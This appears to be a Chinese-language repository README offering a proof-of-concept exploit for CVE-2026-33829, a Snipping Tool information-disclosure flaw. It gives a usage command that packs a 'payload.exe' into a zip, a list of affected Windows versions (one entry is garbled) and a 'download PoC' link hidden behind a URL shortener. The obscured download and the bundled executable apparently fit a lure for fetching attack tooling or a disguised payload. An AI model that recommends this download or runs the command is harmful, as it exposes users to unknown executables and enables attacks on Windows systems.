tiffanykarihi23/CVE-2026-33829

# CVE-2026-33829 - 安全漏洞 ## 快速使用 ``` python3 exploit.py -t "C:\\Path\\To\\Target" -o demo.zip --data-file payload.exe ``` ## 利用注意事项 - **严重程度:** 中等 - **CVSS:** 4.3 - **影响:** 机密性 - **发布日期:** 2026-04-14 ## 技术摘要 Windows Snipping Tool 中敏感信息泄露给未经授权的攻击者，允许未经授权的攻击者在网络上执行欺骗。 ## 受影响版本 **Microsoft Windows 10 1607:** - 10.0.14393.9060 之前 **Microsoft Windows 10 1809:** - 10.0.17763.8644 之前 **Microsoft Windows 10 21H2:** - 10.0.19044.7184 之前 **Microsoft Windows 10 22H2:** - 10.0.19045.7184 之前 **Microsoft Windows 11 23H2:** - 10.0.22631.6936 之前 **Microsoft Windows 11 24H2:** - 10.0.26100.8246 之前 **Microsoft Windows 11 25H2:** - 10.0.26200.8246 之前 **Microsoft Windows 11 26H1:** - 10.0.28000.1836 之前 **Microsoft Windows Server 2012:** - - - r2 **Microsoft Windows Server 2016:** - 10.0.14393.9060 之前 **Microsoft Windows Server 2019:** - 10.0.17763.8644 之前 **Microsoft Windows Server 2022:** - 10.0.20348.5020 之前 **Microsoft Windows Server 2022 23H2:** - 10.0.25398.2274 之前 **Microsoft Windows Server 2025:** - 10.0.26100.32690 之前 ## 参考资料 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33829 ## 漏洞利用 [下载 PoC](https://tinyurl.com/25psuyn3)

标签：威胁模拟, 逆向工具